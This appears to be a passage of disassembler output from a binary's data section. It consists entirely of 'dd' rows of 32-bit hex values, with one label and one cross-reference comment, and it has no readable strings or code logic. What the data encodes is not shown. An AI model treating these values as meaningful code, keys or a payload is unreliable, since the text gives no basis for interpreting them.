dd 38A1F434h, 2289848Ah, 0E331A1Ch, 2F308330h, 2A201660h
dd 0C13C0367h, 0FF8F1B0h, 0A62876B2h, 0E314E07Ah, 0C49C8E05h
dd 0D30265CDh, 0DCA741F8h, 8CEDC38Dh, 0A4181938h, 0E50F703Ah
dd 968C8C6h, 827E9BDh, 91427024h, 0C9C284A0h, 40F7CEFCh
dd 28359A68h, 246C13C2h, 80B4DF22h, 0F9421928h, 0CDF847B4h
dd 870834A4h, 26A339D6h, 0F6E702CCh, 885A081h, 59AC01DCh
dd 0A9310EE6h, 50D130F8h, 0F2E22A18h, 5584F850h, 60571CFh
dd 0A3884C53h, 0F870620Ch, 0D8C49CB5h, 0E7022F9h, 0C17DA0BAh
dd 0C185F8Bh, 34412465h, 0DD00731Dh, 4B6E100Fh, 0D433C018h
dd 60C7E392h, 0ADBA88D5h, 7E00EA59h, 19E4104Fh, 2C61A794h
dd 40D05648h, 0D5EAE36Bh, 3190A8A1h, 944531E4h, 8BFC3650h
dd 0E054338Dh, 460C30FCh, 9D2235h, 32FC2E46h, 0E47D69BBh
dd 0BA3E5100h, 0F4C7043Ch, 150DECBh, 21615EA5h, 0E79C74F9h
dd 0DB40082h, 0C5DF52F4h, 1F5C4810h, 8E1C0354h, 290BA505h
dd 911E52Ah, 11401D60h, 0E0598078h, 0B8ED8A92h, 96312098h
dd 30A6F0A1h, 10E6AAC0h, 0C50E90B2h, 64655FC6h, 148876B9h
dd 0ACF02869h, 40A449ACh, 4878C239h, 5432546Eh, 99302C98h
dd 0E7631197h, 817688AFh, 83979122h, 42CC848h, 50A1F7Ch
dd 0FC5FD418h, 44AAC252h, 61C49850h, 0BD57C1EDh, 0F5470D9h
dd 0FBB6140h, 8647EEEBh, 662DB9B9h, 9D5D0EF8h, 0C4616894h
dd 561740EAh, 36859Dh, 0BBBA86F8h, 2E7A40F1h, 7498244Ch
dd 0D890F373h, 76DF8B44h, 0F955126Ah, 902022F0h, 11FC3930h
dd 885D0C33h, 314980A0h, 5A8639FCh, 29F5A400h, 84C01803h
dd 0F3B22413h, 91C2020Ch, 0B4896D34h, 58488002h, 0B7034080h
dd 0A9266FE9h, 0C0088043h, 0C2EC8688h, 594C41D6h, 12389464h
dd 4020EF9Ah, 34C641FAh, 82216259h, 0A0C8129Ch, 0FF12FD8Bh
dd 0E0405587h, 60085D3Fh, 3CFCB15Ch, 0B4876F20h, 9E60F244h
dd 0C4073C09h, 0A973E0FEh, 4205DA0h, 3060C03Fh, 138BEBF1h
dd 58E89E28h, 0DCA033Eh, 103B8231h, 0DE8EE88Ch, 0C14DD521h
dd 80E08890h, 0C244CAABh, 4205B7A7h, 0E87918A6h, 7AFC9804h
dd 9067AB04h, 941A5230h, 0D00F4600h, 22F2B777h, 489E60AAh
dd 560BF85Dh, 5807A0D2h, 0C400C2B0h, 30EC0E96h, 0BC88FCEAh
dd 6260F491h, 42538458h, 68F6E157h, 18AF60C8h, 382D54EDh
dd 404AAEFDh, 65C9A444h, 3F840216h, 8440B8F7h, 5D2E300Ch
dd 841088DDh, 7138D602h, 209E278Bh, 14F23023h, 0C502DEE5h
dd 0CAA8F869h, 5EC8461h, 568D24D0h, 983801DCh, 1FC1FD3Eh
dd 0AA3860A5h, 14A01892h, 0D8DF97BDh, 1482FCF7h, 20A0C469h
dd 8B4CDFFCh, 49E110ECh, 4BA33013h, 4C02BBD0h, 650043F0h
dd 398F49FBh, 9236BEA1h, 0FC9829B8h, 0ABB5D939h, 0C0C24096h
dd 0D44B107Eh, 0C030A741h, 24684C5Fh, 79F909Ch, 4454C4DFh
dd 6081DDE4h, 14309097h, 0ADC23726h, 34C82960h, 37E473DDh
dd 5A1A6670h, 0E068632Ch, 73C1D65Ch, 98FE62F3h, 0EC58D35Eh
dd 63014890h, 0E3C9E0ACh, 0B058F7EEh, 8D9D25BBh, 0E682484h
dd 9AF0B56h, 66984980h, 20A90D11h, 6A204124h, 0BF69381Ch
dd 2090696Bh, 0F671D995h, 0B234D700h, 0CB1FD1F9h, 6E8A0498h
dd 0D23DBD43h, 0A064ACB8h, 62F30504h, 2CC1A7ADh, 5E0276D8h
dd 883D3040h, 38E3E88Bh, 8845DD7h, 91013CE8h, 0F6E60FE1h
dd 5D039B01h, 2D3D6081h, 8C72081Ch, 307E00BDh, 5F2FD4C4h
dd 54C438A5h, 5EC7B860h, 0FDDDA702h, 4140269Eh, 0EA8410h
dd 0E505C603h, 9A352A1Fh, 2691A4ACh, 72979387h, 77317FE7h
dd 978B2010h, 9D1F0839h, 440265BDh, 64839461h, 5FA112CCh
dd 793808D3h, 14100785h, 0D00D80D5h, 90C9F19Ch, 6559E050h
dd 386100D0h, 0C3EB7156h, 0B21EB437h, 0BE934647h, 76C814D0h
dd 5C881F9Fh, 3D1BC072h, 0AED8F36Fh, 8ED41E03h, 4CEEDA21h
dd 0ECF87C60h, 0BC31188Ch
dd 765DC094h, 0A1368C80h, 9FDFABD4h, 0A08B338Fh, 0E8C0ED88h
dd 75E76FDCh, 0AB0D2805h, 733C2ECCh, 1817A51Ch, 0F0817691h
dd 0F4B1243Dh, 0BD2A4592h, 89069488h, 0D4107880h, 0A24120C8h
dd 94185D17h, 11E02C40h, 4DE40C83h, 0C428189Ah, 24824CC0h
dd 1D21F84h, 7DE889C2h, 47C7A989h, 4F7B3820h, 0E000DBD8h
dd 146CE6ADh, 5BF6151h, 0DA248A38h, 1CA4811Dh, 8209FEC2h
dd 0C47B8834h, 108A5DE0h, 2DFC3781h, 9931CA0Ch, 0FC2F4310h
dd 3A653607h, 0B3623CB9h, 54C4C17Bh, 0BC592C3Ch, 4EB6C0BDh
dd 770D374Ch, 8C17FD13h, 5228E888h, 3023F8C3h, 939D5C01h
dd 0EF18495Dh, 0E0E61689h, 31B9FA0h, 0B8205278h, 7A98BAFEh
dd 0F0529C7h, 35EED955h, 9E3A307Ah, 65ED9C00h, 0BB686697h
dd 0F49BB97Ah, 95A75500h, 906EFDEDh, 71496ABCh, 52240AC8h
dd 5C051174h, 807238D8h, 2028DF55h, 0B0B28D1Fh, 393F1624h
dd 0F65806B9h, 64986171h, 17566420h, 9E40DE0h, 2823A69Ch
dd 60AE8B48h, 19C2FA20h, 317C1FFDh, 74E0CA30h, 368166A0h
dd 8CD23095h, 0C1BA5587h, 0CC582EE5h, 745639C6h, 5DD8643Ch
dd 6008ACC8h, 0F069A950h, 0E43410A4h, 0A8829178h, 0C6313057h
dd 42C23B13h, 7E0018CBh, 1722C629h, 449297BFh, 516A2D00h
dd 151FFC26h, 8D03001Ah, 4F206254h, 0E002484Ah, 5FA9C5BFh
dd 13CDAC7h, 0F9201907h, 0C067622Dh, 2102660Dh, 55BE9BC8h
dd 18D342E6h, 0CC440B0h, 53E392D0h, 0E9552341h, 6E37D0FCh
dd 42BD900h, 7C745750h, 56A300C2h, 1E39ED70h, 9A573B11h
dd 0A20E12CCh, 0CCEEF41Dh, 0D6934885h, 0C0C7CC04h, 0FE80F16h
dd 0CEE505B0h, 0A801A149h, 91602F26h, 3A02D426h, 550C34FCh
dd 4A600471h, 161FC32h, 0CCC2DF82h, 26F671D7h, 25047C20h
dd 5A0ECF87h, 5E08E660h, 29C244E4h, 84CEC442h, 0BA403DE0h
dd 48372CC3h, 40080D5Ah, 9795C028h, 8F46E75Fh, 1E027322h
dd 99F5978Dh, 0C8B8B037h, 8098B642h, 9D1CE5C2h, 0BF1CAE36h
dd 39872855h, 0F3D02D98h, 9AA4F13Eh, 63F42794h, 0CDA2B0A4h
dd 285029A0h, 149E952Ch, 0B8ECC68Ah, 6C3CD08h, 99610CE3h
dd 0F6F84201h, 57483096h, 0B05682Dh, 0C8DCAE14h, 0D94CC0F8h
dd 0E52A00A8h, 0EC0C2709h, 5064FEAh, 0D2106AD4h, 0DC712E60h
dd 51189B71h, 42E69660h, 49BA695Bh, 5F0538DCh, 7650810h
dd 25FBE3D0h, 0B90A207h, 9C72D1CEh, 9E5922E0h, 3169AB31h
dd 6AE1FF5Eh, 0D3A1D4h, 0F829F19Bh, 7BB639C7h, 0BC01AC24h
dd 0C0812E97h, 780C3E48h, 0DFDF9188h, 0E7220C29h, 501EA0A9h
dd 0EE8017AEh, 4D54C9E3h, 243106FCh, 50DD1DDFh, 51310CBCh
dd 2A134D5Ah, 0DD312200h, 0D459622Eh, 5BA4A190h, 666CD842h
dd 19C8068Ch, 812DAC98h, 182940A1h, 27139896h, 4096A7E7h
dd 978E2300h, 2A377069h, 48C7338Ah, 4D9C4C9h, 10BC6291h
dd 0BB00D4BAh, 0C23072A9h, 8F64E069h, 2499B720h, 57B8307Dh
dd 63417504h, 28806E53h, 929E55CEh, 2B2B78F8h, 88C05833h
dd 0D829F5Ah, 44F5CAECh, 1A27C4Ch, 1991DC1Ch, 8195BE08h
dd 0EE1B6B29h, 8D12A503h, 51172A20h, 0E8554C89h, 0CD02EB7Fh
dd 0D690F440h, 594230C2h, 54B04820h, 0F1F62C87h, 53E06238h
dd 0BD508709h, 0C0871C52h, 805298DCh, 0E601FFDDh, 0A3BA4255h
dd 5FF438F6h, 5E18B4C5h, 0BE007646h, 9D4A9AB9h, 0CF09136Fh
dd 21EA1C06h, 8C493BCCh, 77C84839h, 0F3A10E02h, 9878F8A7h
dd 5BD42C4Ch, 126B1B8h, 13D0BBBFh, 8C9C9335h, 201E82EBh
dd 0BEFC2510h, 1A0B85C0h, 8CEAAF33h, 8C96C439h, 0A8F9F6E3h
dd 49113BAh, 312000DBh, 92359E4Eh, 40C5E424h, 0B4A5BA8Ch
dd 0C42550DDh, 0A7D52732h, 3B936022h
dword_50005C dd 5A11E428h, 7C18542Fh, 6C5EC957h, 88483033h, 47E5EE88h
; DATA XREF: ___:off_43F29Co
dd 0B9559DF2h, 620C802Ch, 0FD39E008h, 0DABC3C40h, 0D053821Dh
dd 30683809h, 9362AD44h, 8C541738h, 0E49826F0h, 0EEBA20h
dd 17959ABCh, 2BFA0543h, 4F696238h, 6CCC5812h, 0AB9013A1h
dd 0D5708898h, 818C174Ch, 91DA33DDh, 203D8DD1h, 1C0E2606h
dd 9213699Ah, 848ACA33h, 14F8A865h, 8110C46Ch, 7C332476h
dd 0A045EE06h, 0F6AC2411h, 5E74AE4Ch, 0F017346h, 30596A01h
dd 5E08270h, 0D9A21Ch, 4108E33Bh, 448B61D2h, 50C07BC8h
dd 96CC69h, 94684A4Ch, 0CFC4495Bh, 1B452890h, 8C55C060h
dd 35C62F04h, 516232C2h, 0C6277C20h, 0B2E03CCh, 9786A004h
dd 61C29C99h, 18B86808h, 42896AABh, 9175BF5h, 0DC909850h
dd 0AE4977FFh, 822C58A0h, 71EDC4F8h, 796446F4h, 0A4209B4Bh
dd 2A31106h, 0EEE60790h, 35058A49h, 4266F00Bh, 4750711Ch
dd 5D0448E5h, 70A0C420h, 0E87130C7h, 1891C218h, 0AEC17462h
dd 80BCBD3Fh, 82183141h, 0B80CCBBFh, 60FB4E9Ch, 0D8640FCh
dd 6148A117h, 0E61C2C30h, 0D4D0B4ECh, 0B4F2B447h, 22E08417h
dd 0C1A0C458h, 194908Ch, 5421992Ch, 78C8940Eh, 0A84CDCC3h
dd 167E0AA5h, 0D08949C6h, 5B7216D8h, 0A445652Fh, 58E20644h
dd 0AC73FF72h, 0EC3097E2h, 482F17CBh, 0FBBCC862h, 5EADE20h
dd 69C55992h, 0CEF8A4BEh, 0B2E40C17h, 0DB0053h, 7FF1E780h
dd 6864984Bh, 10B9C7B6h, 3EC8A100h, 0AC6E3619h, 80BDF4B6h
dd 0CAB475E4h, 604B8E4Eh, 136B78D9h, 38BCDF1Ah, 91C44AB0h
dd 887152CCh, 0B9E12218h, 6035B67h, 571D6A20h, 80F2CAB4h
dd 1C0FFFD4h, 2528906Bh, 2C13BC69h, 68CA7C82h, 0D4A0D04Ch
dd 0A49553A8h, 44B3250Ch, 38018B23h, 250C2EFCh, 4402C04Eh
dd 7F2BFC30h, 0E59504E0h, 0D5A58814h, 1EE16F0h, 0ACBB4000h
dd 9D3A4634h, 6E904410h, 130F2800h, 699FEB16h, 18C40053h
dd 0E07AE777h, 3A014717h, 2A42AC55h, 60819CE4h, 0A324B0A0h
dd 3B0030D3h, 0FC2048B8h, 26E01341h, 1FB82CF5h, 0AC80028Ah
dd 0D92CD1C3h, 66118EBh, 22D4909Bh, 0D72619DEh, 0E1009031h
dd 9578ABD2h, 56FC180Ch, 0E42280F6h, 7D3C29CFh, 0F409E0D6h
dd 0BA90900Dh, 0EC990EB5h, 300B5D8Bh, 9180ACAEh, 92AB0E3Ch
dd 57F8D318h, 4AD6E731h, 18F8D2C1h, 0E009E05Ah, 82086A0Dh
dd 20505940h, 61C2D724h, 5802E85Eh, 0D903C723h, 805411B0h
dd 0C238C62Eh, 5496971Ah, 0C6267B00h, 8E85C804h, 99960637h
dd 214CC725h, 81003B79h, 0B09C012Dh, 8658A6h, 4F892FF2h
dd 1A09CEAEh, 54B042EEh, 2A4C244Ch, 360BC451h, 0AEB61374h
dd 0CF6961A0h, 1F2E7E52h, 64D0243Ch, 0C6336059h, 52C22339h
dd 80005311h, 4C88C62Bh, 2CF34A09h, 0C84E8760h, 183F5D70h
dd 0B40C0025h, 21E2168Ch, 1D3EF4F2h, 41AD5CD4h, 84203AC4h
dd 0CD065Fh, 0AB6E141Fh, 82D0E0A8h, 556DF400h, 90E239AFh
dd 91DC9658h, 0E8884E74h, 80933F0Ah, 0CE423280h, 0E4C24D9Dh
dd 0E899CC1Eh, 0E6A56DC4h, 284AB8ACh, 0AB894908h, 65E02C40h
dd 25E10068h, 58BA317Ch, 0D13A0C5Ah, 0CF059CAFh, 888E9584h
dd 73607898h, 673779D4h, 20F65191h, 0E845DED7h, 0F4267C74h
dd 240BD63Ah, 9B0C90C7h, 9CA70255h, 3F52BC79h, 0E744147Ah
dd 0B628E43Ah, 69540264h, 0DC84CFF0h, 644845B2h, 48FBF088h
dd 8326A2C1h, 0A3010938h, 247A346Ah, 4D5D5F7Ch, 97D84814h
dd 0F8F64095h, 0FD2065E0h, 6E5D7302h, 618CBAF4h, 68681C88h
dd 0D7094456h, 1C79B00Fh, 5A802831h, 96BE0841h, 238FC980h
dd 279D1310h, 0F393D100h, 0A75A867Ch, 11E73F41h, 3824EE26h
dd 7083742Dh, 409A3839h, 0C1164050h, 948FA2F3h, 9C05188h
dd 250C7FEAh, 0FC83FAECh, 1CC1368Dh, 0C0022B76h, 8124D0C4h
dd 0E39296F7h, 0C20BBC3Dh, 44A10869h, 0C829D404h, 4B45BF8h
dd 0F3C2A341h, 506069h, 468D09CAh, 40828CAEh, 35028545h
dd 0DA1440FCh, 3A7C917Fh, 6E5B50C9h, 92430010h, 0AD80392Ch
dd 5DF8A061h, 0C4D94BCEh, 87CCBCDCh, 223BF36Bh, 0C0D7A5ECh
dd 0DFF04634h, 172A4211h, 64C0A864h, 8441E222h, 1FC926F4h
dd 80FB6A5Ch, 91EE750h, 2D4456F8h, 0A480A1C4h, 442E6020h
dd 844463D5h, 109897BCh, 0AB09CF55h, 0D12CEE14h, 0DC46080Ch
dd 4089C205h, 0F8C1D4F0h, 1001979Ch, 70BE5FA1h, 9CBE37DCh
dd 0E491D801h, 8105DAEAh, 2D8118C4h, 0FA740FE0h, 560F905Dh
dd 8DCCCE87h, 0C4902D80h, 20F4C930h, 46BBBBAh, 0C1E8E3DCh
dd 8BBC82B0h, 72089828h, 96C40BE7h, 9C11F01Dh, 1500AE8Fh
dd 6DADBFDEh, 0CAC4909Fh, 808600B2h, 49B6B5A7h, 0C2DF02ABh
dd 51EE08C2h, 3F8C8297h, 90A100D6h, 95487582h, 58C410B0h
dd 9F858840h, 37D6E880h, 9112BC67h, 98805FC8h, 4265254h
dd 8EFBE556h, 0B0490DDh, 0F7402EE4h, 277112C6h, 0ADB0471Ch
dd 8206D794h, 4E8D5FEh, 30299A4Ah, 54E2208Ch, 0F99C3317h
dd 34F41E40h, 0F7214042h, 24AC602Fh, 192B07B3h, 0D0622AC3h
dd 8FCE9348h, 6B15F612h, 0B64E5CC8h, 0D860251Ch, 132EA3A6h
dd 0CE145C85h, 24232EC4h, 0FD8AB40h, 0BB3500CAh, 5D26256h
dd 306AB6ACh, 0A0392828h, 68AB308Fh, 1F3EDF99h, 0A5D94F00h
dd 0CEDA0F44h, 2D0BC49h, 59E817DDh, 0DF0928DAh, 91658BFFh
dd 80154D7Ch, 0CBC50AB0h, 381248FEh, 9C6191D6h, 0B0F8673Eh
dd 837F000Fh, 0A158127Dh, 3898B7ADh, 0A2F3DE25h, 21632C70h
dd 341EBF69h, 0F48E3DCh, 0C2099F18h, 20D864DCh, 190F6B74h
dd 2F6DEADh, 68DB59C6h, 16C30494h, 0A377BE06h, 3097E2E8h
dd 0CCA06B84h, 0C58265F1h, 0AACB09C0h, 708DCC07h, 8FBD8B56h
dd 174B41C3h, 161CC013h, 918D035Eh, 7861C4C7h, 0CCEC94B4h
dd 5913C274h, 84A47520h, 38E9401Eh, 0D1346A30h, 7C26E383h
dd 2231D3F4h, 0C84D2E08h, 0AA87CAC0h, 2BA9000Eh, 0F7610DFh
dd 8D35BEA2h, 0CC88E89Ah, 196C0990h, 880B027Dh, 8CE0A812h
dd 32813D46h, 70807C7Ch, 42FDD9F7h, 6CCAEA00h, 41FA76C3h
dd 7BF30044h, 0E63E9A94h, 829D342Ch, 9067BDD8h, 2D3A36ACh
dd 0D8978AB7h, 0EA807C91h, 27A8BC4Eh, 0FF718201h, 9CE8F74h
dd 9B4E986Dh, 0A7EB8074h, 0C1F0F1h, 57EE8BBFh, 7B9BB05h
dd 420182Eh, 53A468Bh, 30D92F38h, 2E925660h, 0C430515Dh
dd 541540E9h, 5C4B829Dh, 5D80CCADh, 0DD3E3D23h, 1DF09E02h
dd 801617F1h, 0A6A925D3h, 9F2201B4h, 19CEE555h, 73E43579h
dd 91167674h, 8C938578h, 62193FAEh, 457B8011h, 8489F018h
dd 0DC4C9442h, 23F02F97h, 0C7F8004Eh, 485FC23Eh, 6F6FABF8h
dd 6F900D9h, 318F747h, 0B64E3494h, 97C8B732h, 0E05C9B14h
dd 77C0162Ch, 9A22788Eh, 0DD344048h, 105D0E40h, 5CED9FC2h
dd 0C840BE76h, 345E0321h, 163DBB90h, 326A6ECFh, 401438C4h
dd 3F25D86Ah, 70E67CE2h, 3AA0C1F1h, 5EC7C005h, 8039F8E2h
dd 4BE72242h, 0A1EC4022h, 4487C96Bh, 0CBDF9900h, 59806558h
dd 6A0A1E1Bh, 8FDCC286h, 687426B7h, 0D8C17544h, 0EC702254h
dd 0C203883Ch, 82A4E1B5h, 6505FC26h, 97071EEBh, 53602504h
dd 0E4401094h, 0E0696481h, 5AF04A82h, 55C8ACCBh, 0FF0FB4C0h
dd 784D0199h, 0EA1B766Bh, 264832EEh, 467E3C30h, 0E62A009Bh
dd 5AC3F0B7h, 45EE4AD9h, 1CE88DA0h, 5244E4B8h, 5850DC53h
dd 489B09E9h, 3CD99037h
dd 0DB1B4100h, 0DFEEBBh, 9A383DB6h, 0B9693946h, 0E338B05h
dd 18F08AECh, 0AC7D00F1h, 0C2D4318Dh, 0A12DF6E7h, 0A294699Ch
dd 5CF53117h, 65EC7091h, 288800E3h, 5BD2B8E5h, 0B83CD1A0h
dd 2FE6014Ah, 0B262B130h, 79489148h, 9B189Fh, 0B209767Bh
dd 3E7E9428h, 4832BC0Bh, 0AC5C1061h, 34926Ch, 0F064EDFDh
dd 0DBCE0F8Dh, 5AE9F103h, 0F1923998h, 54382017h, 4FEEEB02h
dd 0A054BD84h, 172FE58Fh, 5206FC09h, 0A5D160Ch, 0F150221Dh
dd 8A6A724h, 4EB0E9E0h, 0C0FE502h, 91FD8E14h, 0A841BBF8h
dd 5F006DD1h, 829F3810h, 762CE5B0h, 3CE44330h, 835A880h
dd 23CF8E01h, 28B8DDBBh, 2D9168CCh, 8044EC15h, 0F258C481h
dd 5E0BD901h, 9A6280C0h, 741096E0h, 27CE946h, 0CEE7BDBEh
dd 48729B89h, 0B663DC16h, 6A00647Ah, 6F398C0Fh, 530210E3h
dd 61F6E526h, 0C55F0096h, 4317B517h, 0C8F2002h, 42FEB788h
dd 9804F5B7h, 1E167341h, 4041FAD4h, 0E572E098h, 93BEFB15h
dd 0AC3A00E4h, 0A86FCCCAh, 0DB0D0214h, 195B9162h, 58695460h
dd 5EBC839Dh, 0DD60C930h, 5E716230h, 0DCC0FE0h, 40D7C2A7h
dd 465D8B1Eh, 5020306Bh, 0EC108B10h, 74BCA0F8h, 6A0F178Ch
dd 3C10B4C3h, 0BFEEFF00h, 4D0AE68Dh, 1AA0B84Ah, 60E87F25h
dd 0F24404C7h, 0B1870160h, 0F9D19907h, 2642DE1Ah, 597460B8h
dd 408858BCh, 0A5DD9882h, 0EE78FC73h, 20185CA9h, 2659F611h
dd 0B6087C25h, 12921AE9h, 7C11941Dh, 927B3980h, 90EBCC3h
dd 568C40BBh, 83B85804h, 44192A01h, 6DFC7C6Bh, 987280EEh
dd 6D29E200h, 0BC7712Ah, 27411A00h, 1B6E368Bh, 5A80B2B2h
dd 47C44023h, 81C3BC06h, 2EA48000h, 31B64DD3h, 0C2970942h
dd 58FABEACh, 544B8B00h, 0E2685783h, 1CFA17h, 380CFE48h
dd 695B3594h, 59C11090h, 95AFF9E3h, 0A0ECE444h, 4CD2BF80h
dd 0A70F019Eh, 642EBDh, 8B488AEBh, 3C98A0DAh, 0A3DB130Eh
dd 57444D6h, 7B5CC908h, 94CEF420h, 0C2780041h, 0AC1D21E3h
dd 0F4B45608h, 0ECFC6740h, 0FE950015h, 277C56Fh, 890B0DB4h
dd 710EA2F9h, 0FB838200h, 0CCC4D83Ah, 157838F9h, 0CC6BABh
dd 0D48887CDh, 25B5463h, 95CA7006h, 3CE1FC96h, 49024CBh
dd 61F69F2Dh, 0E0005B74h, 100BA031h, 1FEB16E4h, 8B4F11C4h
dd 8A08EDBh, 210D0263h, 54C4BD53h, 9EACEE00h, 4A7A9A1h
dd 0BFC300E4h, 1247F8CBh, 37388918h, 0D05A1D80h, 0FCD01B12h
dd 5B1191D6h, 83742802h, 38CB0488h, 61B011E7h, 0D5C6DD31h
dd 910C9DB5h, 0EB838053h, 2C0195C9h, 8589FEAh, 42EF222h
dd 0A602004Ah, 856E76h, 3A2F05E3h, 91C0229Dh, 8610089h
dd 85FC5F96h, 0ABBA4200h, 0D437C2ACh, 20CC90D5h, 0E327A035h
dd 28E0460Dh, 20206B7Dh, 339D59EBh, 53188100h, 6C913201h
dd 0F52980D4h, 7AD0A8h, 2E0E7D67h, 5C1D4AA5h, 0D32F04B8h
dd 0B5C410D5h, 0E473F5h, 0CFCD16E9h, 504403B0h, 0D0313Eh
dd 1A38F67Fh, 0A0BDFBE6h, 8EC030h, 8B6A3EACh, 75B3341Bh
dd 0E7261125h, 8E9CC2C0h, 8E9C083Fh, 90BD5A5Ch, 0C8785654h
dd 0C7B95Ch, 20829D34h, 0E6CB4CACh, 251E67Ah, 0E449FF2h
dd 8CD86AF4h, 16108A4Ch, 0C41792B2h, 0BD9E1CB0h, 0A576EC31h
dd 0D7504161h, 0DC640405h, 10016078h, 7CCE00F6h, 0BF122619h
dd 8848228Ch, 0AAF98020h, 9E389164h, 79AB090Ch, 0B210DCE8h
dd 622D1319h, 95025F78h, 407A1C10h, 0A66322E7h, 88023C51h
dd 0CACCDF8h, 0C2D42BA1h, 48B75C0h, 2DEEE7D0h, 100A5C72h
dd 0AE85B441h, 88A605DDh, 38C69C20h, 98D91618h, 80B82258h
dd 267DFC58h, 0A80E50A7h, 0CC9C765Eh, 201E8250h, 3C8D8A23h
dd 858302Ch, 0A102EF1Eh, 0E060058Dh, 5A69B870h, 0A08854C1h
dd 13065F22h, 5E51BE2Bh, 27737E10h, 8C69F0A2h, 0D808D226h
dd 444044AFh, 0CAFE0B5Eh, 0D081025Eh, 0E804854Eh, 8CF2BCE8h
dd 0DD638E00h, 724F0E4Ch, 90FD0278h, 0EC21E0D9h, 0DEA4F0C1h
dd 6E38C01h, 37C100D3h, 77B7557Bh, 70F59BEBh, 0BC2FC0h
dd 4674382Ch, 6B1300F1h, 0ED77C298h, 89AE0459h, 0F0E2928Ch
dd 0EA2E60E8h, 386C71h, 0F06995ADh, 0A0942F9Fh, 0BE7FAC98h
dd 0EED90AD8h, 0CE044F44h, 0ED208945h, 2DCC3061h, 0EC2AC4A8h
dd 0C6CD1409h, 87580664h, 0E3CA0A19h, 3BCDB92h, 18573E91h
dd 13C272C8h, 0A5033A17h, 859EA4A2h, 91602CDAh, 829F469Ch
dd 85E0B81h, 1DD058ABh, 332DBEA2h, 0F5AA1B90h, 2BB07141h
dd 0A8210C8Dh, 0C2D72E1h, 2B25C449h, 29805071h, 896B35A3h
dd 0F8D40901h, 245C544Fh, 5A409E9h, 8841A038h, 91882F27h
dd 0FBE31882h, 48918549h, 9FF8D415h, 21DE5B20h, 0D0CC9E45h
dd 229D85C2h, 7B200441h, 204FDA05h, 0AB206008h, 0DA94EB83h
dd 0A7A82155h, 0E1000AFh, 0A3DE09FCh, 0C4D882B8h, 1DC912A8h
dd 5F302047h, 6C604820h, 0D5BEA160h, 6B18B672h, 8C9547Ah
dd 34A708E5h, 55CF8A62h, 20F350A1h, 78DC2ADEh, 0D0480447h
dd 4EEE8CBh, 0D9699108h, 0A10820D8h, 78DE6225h, 8E37066Ch
dd 69D371C4h, 8A50C1D1h, 2D658C5Fh, 13C10CC0h, 0D91D605h
dd 19A9AAA8h, 17B4620Ch, 60F3602Eh, 0DAF36B09h, 91C414A1h
dd 247C740Ch, 41CE8F0Bh, 8EC249Dh, 0ED998523h, 0E035029Ch
dd 14A5B8h, 22F561A6h, 26B51B67h, 4AC72518h, 5915C1h, 420D8517h
dd 1149C07Bh, 0D5C86A02h, 805F3053h, 384424D7h, 0C8855A0Ah
dd 8612A50h, 685D9F98h, 0DC841989h, 89B8C882h, 49BF6921h
dd 66363982h, 8C2092F3h, 7EDAD56h, 65253595h, 0ED9465BEh
dd 4FB41090h, 0F4503F31h, 69830072h, 2E2145BEh, 0EA23982Fh
dd 52909400h, 983225CBh, 0F99E20FCh, 0AA91BB06h, 0D6B91C6Bh
dd 1084A290h, 0C7176634h, 9BFC4CC2h, 4A5FACA8h, 1D116053h
dd 0B57602BCh, 0D8A08962h, 4B757590h, 1EF84323h, 0F3A84683h
dd 7B0036BBh, 446181E3h, 0AB64123Ah, 9ABCF8A4h, 4C049789h
dd 0B878109Bh, 0DF008CEEh, 4588B3E7h, 9FEC205Dh, 0D4345CA0h
dd 4744E492h, 94BE2633h, 0F40B82A0h, 2201F30Eh, 50AF855Bh
dd 7800D844h, 0ACECD15Ah, 7DC6FDh, 37714AA3h, 0FA87E52Fh
dd 0BAA1900Ch, 3D3397Ah, 5838D9C2h, 0E1011904h, 0C6966C64h
dd 30A697E5h, 4D7117Ch, 0C7CC0431h, 57C45C90h, 0D879D4FDh
dd 1813A319h, 125F0CC2h, 0B97FB8Dh, 1C468CE0h, 91FC353Dh
dd 9A883D0Ch, 0FC2D4580h, 9829CA9Eh, 198E602Ah, 995CCB19h
dd 0E05B6200h, 0E2A4342Dh, 11921E30h, 0DF08C40Dh, 0E5F48079h
dd 0C5952732h, 6099E498h, 7D78F95Dh, 0B450E08Ah, 0F6E7059Ch
dd 3AF842E9h, 84493C2h, 0C3ADBA0Eh, 291A62E2h, 0B028F2E7h
dd 6D04224Ch, 809CC74Ch, 653FF024h, 9AD1133Eh, 80189417h
dd 8333D929h, 0DF0028E6h, 43FDE230h, 0C0B5A0Fh, 798C7B17h
dd 0AD00C070h, 0AFD66F39h, 123F34DFh, 0A9912B5Dh, 93E91158h
dd 65A26095h, 0A7F9E320h, 0BF933E48h, 2CF8FB31h, 0B86A2B51h
dd 88648010h, 2FCC64D2h, 2F842043h, 0EC926017h, 0A1D1C03Eh
dd 313AAC55h, 0BF043D1Dh, 0FEFFC2C3h, 0DF6A88A9h, 202E01Ah
dd 0C55FA837h, 8CA980C7h, 6A05345Ah, 6B8F7C04h, 43FDC24h
dd 9C584700h, 0A2543539h, 80334300h, 492B4482h, 244128ADh
dd 8B60000Ch, 0AC3F2842h, 80207139h, 9A541E9Ch, 0AF0F7C37h
dd 0AC8F283Eh, 0B0872B8Fh, 5BC7DE35h, 9E52C03Ah, 50743242h
dd 80364803h
dd 0B0393DB0h, 0C12D4A5Bh, 4C323C28h, 473AD8A7h, 653BA906h
dd 40A83Dh, 58F6694Dh, 2E449A48h, 43B28016h, 0E145BE00h
dd 3E5B6B8Eh, 45064F6h, 80466063h, 1D6547ACh, 51288F00h
dd 31F67C85h, 9E79DF4Ah, 703918ACh, 516E323Ah, 35E19818h
dd 4208A857h, 9D503E2Ch, 9F4E2405h, 80381BFDh, 25A883Fh
dd 492C47ADh, 5B9B00A9h, 661835F9h, 9CE81746h, 2A4C303Fh
dd 5E807F38h, 7CE33A50h, 0A43DA0A0h, 34582300h, 8365115Bh
dd 8FE0009Fh, 2643AD30h, 0E1CE8927h, 44678676h, 4E540178h
dd 335237A8h, 80280C8Fh, 47043D19h, 80531DAFh, 4E037E28h
dd 2988542Ch, 3470E459h, 337C3D8Bh, 84240BF9h, 0A05908B4h
dd 66E49182h, 8848DCD5h, 0EB831204h, 99FBBFBEh, 0B8292640h
dd 0CEDA0403h, 181DFA65h, 78D60861h, 0C01110F2h, 99D85899h
dd 0C208D348h, 8BBA1312h, 576AC0C2h, 142C5C18h, 5888A641h
dd 0EBA77B60h, 94601840h, 0EED9A111h, 6189556Bh, 70065D90h
dd 0BD82C710h, 461A8058h, 0D4C45916h, 0F0C860DCh, 804A28B8h
dd 25F3C17Ch, 0E4A5F936h, 586818B6h, 5D8A44E9h, 0B7B810ACh
